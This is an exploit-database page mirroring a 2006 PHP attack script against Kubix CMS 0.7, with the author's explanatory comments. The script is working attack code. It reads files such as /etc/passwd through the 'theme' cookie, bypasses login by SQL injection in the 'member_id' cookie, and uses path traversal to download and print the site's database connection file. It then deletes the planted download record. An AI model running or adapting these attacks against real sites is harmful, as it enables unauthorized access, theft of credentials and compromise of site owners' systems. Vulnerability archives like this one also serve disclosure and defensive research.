Lucene search
K

Kubix <= 0.7 Multiple Remote Vulnerabilities Exploit

🗓️ 30 Nov 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

Kubix <= 0.7 Multiple Remote Vulnerabilities Exploit. Local File Inclusion, Login Bypass, connect.php file downloa

Code

                                                #!/usr/bin/php -q -d short_open_tag=on
&lt;?
echo &quot;\r\n&quot;;
echo &quot;Kubix &lt;=0.7 Multiple Vulnerabilities Exploit\r\n&quot;;
echo &quot;Site: http://www.kubixproject.net\r\n&quot;;
echo &quot;Dork: Powered by: Kubix\r\n&quot;;
echo &quot;by BlackHawk &lt;[email protected]&gt;\r\n&quot;;
echo &quot;Thanks to rgod for the php code and Marty for the Love\r\n\r\n&quot;;
if ($argc&lt;4) {
echo &quot;Usage: php &quot;.$argv[0].&quot; Site Path AttackType Related\r\n&quot;;
echo &quot;Host:		target server (ip/hostname)\r\n&quot;;
echo &quot;Path:		path to Kubix\r\n&quot;;
echo &quot;AttackType:	1 - Local File Inclusion (mq=off)\r\n&quot;;
echo &quot;		  |-&gt; Related: path of the file to include\r\n&quot;;
echo &quot;		  |-&gt; Es: php &quot;.$argv[0].&quot; localhost /kubix/ 1 ../../../../../etc/passwd\r\n\r\n&quot;;
echo &quot;		2 - Login Bypass (PoC)\r\n&quot;;
echo &quot;		  |-&gt; Related: Valid User ID (do nothing.. only to show how does it works)\r\n&quot;;
echo &quot;		  |-&gt; Es: php &quot;.$argv[0].&quot; localhost /kubix/ 2 1\r\n\r\n&quot;;
echo &quot;		3 - Download connect.php file\r\n&quot;;
echo &quot;		  |-&gt; Related: Valid Admin User ID\r\n&quot;;
echo &quot;		  |-&gt; Es: php &quot;.$argv[0].&quot; localhost /kubix/ 3 1\r\n\r\n&quot;;
echo &quot;&quot;;
echo &quot;\r\n&quot;;
echo &quot;&quot;;
die;
}

/*
There are some critical vulnerabilities in this quite pretty CMS..

Vuln N? 1 - Local File Inclusion:

vuln file: includes/head.php
code:
------
if(isset($_COOKIE['theme']) &amp;&amp; $_COOKIE['theme'] != &quot;&quot;)
{
	$default_theme = $_COOKIE['theme'];
}
[...]
include &quot;themes/$default_theme/header.php&quot;;
?&gt;
------

attacker can execute a LocalFile by setting the 'theme' cookie value properly;
Es: ../../../../../../etc/passwd%00
Becasuse of the last null char this one works only with MQ=off


Vuln N? 2 - Login Bypass:

vuln file: includes/functions.php
code:
------
// If the member_id cookie is set...
if(isset($_COOKIE['member_id']) &amp;&amp; $_COOKIE['member_id'] != 0 &amp;&amp; $_COOKIE['member_id'] != &quot;&quot;)
{
	$id = $_COOKIE['member_id'];
	$pass_hash = $_COOKIE['pass_hash'];

	$sql = mysql_query(&quot;SELECT name FROM $members WHERE id = $id AND member_login_key = '$pass_hash'&quot;);
	$numrows = mysql_num_rows($sql);

	if($numrows != 1)
	{
		$isLoggedIn = &quot;&quot;;
	}
	else
	{
		$isLoggedIn = 1;
	}
}
------
Attacker can Bypass login by setting 'member_id' cookie value properly and making a SQL Injection attack;

Es: 1--

Vuln N? 3 - connect.php (or what you want) file download:

vuln file: includes/adm/add_dl.php
code:
------
if(isset($_POST['Submit']) &amp;&amp; $_POST['title'] != &quot;&quot; &amp;&amp; $_POST['file'] != &quot;&quot; &amp;&amp; $_POST['desc'] != &quot;&quot;)
	{
		$title = $_POST['title'];
		$file = $_POST['file'];
		$desc = $_POST['desc'];
		$cat = $_POST['cats'];
		
		if(file_exists(&quot;Downloads/$file&quot;))
		{
			mysql_query(&quot;INSERT INTO kbx_downloads (cat, name, `desc`, `file`) VALUES('$cat', '$title', '$desc', '$file')&quot;);
			echo '&lt;div class=&quot;container center&quot;&gt;Download added!&lt;br /&gt;Redirecting...&lt;/div&gt;';
			echo '&lt;meta http-equiv=&quot;refresh&quot; content=&quot;1;url=adm_index.php?mod=edit_dl&quot;&gt;';
		}
		else
		{
			echo '&lt;div class=&quot;alert&quot;&gt;File Doesnt Exist!&lt;/div&gt;';
			echo '&lt;meta http-equiv=&quot;refresh&quot; content=&quot;1;url=adm_index.php?mod=add_dl&quot;&gt;';
		}
	}
------
Attacker with a valid Admin ID can send a malicious file name to download connect.php;
Es: ../includes/connect.php


Started programming: 15.37 28/11/2006
Ended:


sorry for my bad english but i've done it quicly cause Prof. Da Forno probably will defenestrate me in latin tomorrow :D

BlackHawk &lt;[email protected]&gt;
*/
error_reporting(0);
ini_set(&quot;max_execution_time&quot;,0);
ini_set(&quot;default_socket_timeout&quot;,5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i&lt;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &lt;= 32 ) | (ord($string[$i]) &gt; 126 ))
   {$result.=&quot;  .&quot;;}
   else
   {$result.=&quot;  &quot;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&quot; &quot;.dechex(ord($string[$i]));}
   else
   {$exa.=&quot; 0&quot;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&quot;\r\n&quot;; $exa.=&quot;\r\n&quot;;}
  }
 return $exa.&quot;\r\n&quot;.$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo &quot;Connecting to &quot;.$parts[0].&quot;:&quot;.$parts[1].&quot; proxy...\r\n&quot;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$attack_type=$argv[3];
$port=80;
$proxy=&quot;&quot;;


if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

switch($attack_type)
{
case 1: //Local file inclusion
$file_inc=$argv[4];
for ($i=5; $i&lt;=$argc-1; $i++){
$file_inc.=&quot; &quot;.$argv[$i];
}
$file_inc = urlencode($file_inc).'%00';
echo &quot;Attack No 1 - Local File Inclusion\r\n&quot;;
echo &quot;-- Start of Result--\r\n&quot;;
$packet =&quot;GET &quot;.$p.&quot;index.php HTTP/1.0\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Cookie: theme=&quot;.$file_inc.&quot;;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
$packet.=$data;
sendpacketii($packet);
echo $html;
echo &quot;\r\n-- End of Result--&quot;;
break;

case 2: // Login Bypass
$usr_id=$argv[4];
echo &quot;Attack No 2 - Login Bypass\r\n&quot;;
$packet =&quot;GET &quot;.$p.&quot;index.php HTTP/1.0\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Cookie: member_id=&quot;.$usr_id.&quot;--;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
sendpacketii($packet);
echo &quot;Logged in.. But this is just a PoC..&quot;;
break;

break;
case 3: // connect.php download
$usr_id=$argv[4];
$data=&quot;title=DaForno_Imperat&quot;;
$data.=&quot;&amp;file=../includes/connect.php&quot;;
$data.=&quot;&amp;desc=BlackHawk_Rulez&quot;;
$data.=&quot;&amp;Submit=Submit&quot;;
$packet=&quot;POST &quot;.$p.&quot;adm_index.php?mod=add_dl HTTP/1.0\r\n&quot;;
$packet.=&quot;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n&quot;;
$packet.=&quot;Referer: http://&quot;.$host.$path.&quot;/blog.php\r\n&quot;;
$packet.=&quot;Accept-Language: it\r\n&quot;;
$packet.=&quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
$packet.=&quot;Accept-Encoding: gzip, deflate\r\n&quot;;
$packet.=&quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Cookie: member_id=&quot;.$usr_id.&quot;--;\r\n&quot;;
$packet.=&quot;Content-Length: &quot;.strlen($data).&quot;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n&quot;;
$packet.=&quot;Cache-Control: no-cache\r\n\r\n&quot;;
$packet.=$data;
sendpacketii($packet);
$valid_id=0;

for ($i=0; $i&lt;=50; $i++){
$packet =&quot;GET &quot;.$p.&quot;downloads.php?ID=&quot;.$i.&quot; HTTP/1.0\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Cookie: member_id=&quot;.$usr_id.&quot;--;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
sendpacketii($packet);
if (strstr($html,&quot;DaForno_Imperat&quot;))
{
$valid_id=$i;
}
}
$packet =&quot;GET &quot;.$p.&quot;downloads.php?act=dl&amp;ID=&quot;.$valid_id.&quot; HTTP/1.0\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Cookie: member_id=&quot;.$usr_id.&quot;--;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
sendpacketii($packet);
$temp=explode(&quot;&lt;?PHP&quot;,$html);
$temp2=explode(&quot;?&gt;&quot;,$temp[1]);
echo &quot;&lt;?PHP\r\n&quot;.$temp2[0].&quot;\r\n?&gt;&quot;;
$packet =&quot;GET &quot;.$p.&quot;adm_index.php?mod=edit_dl&amp;act=del&amp;type=file&amp;ID=&quot;.$valid_id.&quot; HTTP/1.0\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Cookie: member_id=&quot;.$usr_id.&quot;--;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
sendpacketii($packet);
echo &quot;\r\n\r\n\r\nAll Done.. Enjoy..&quot;;
break;
}
?&gt;

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Nov 2006 00:00Current
7.1High risk
Vulners AI Score7.1
12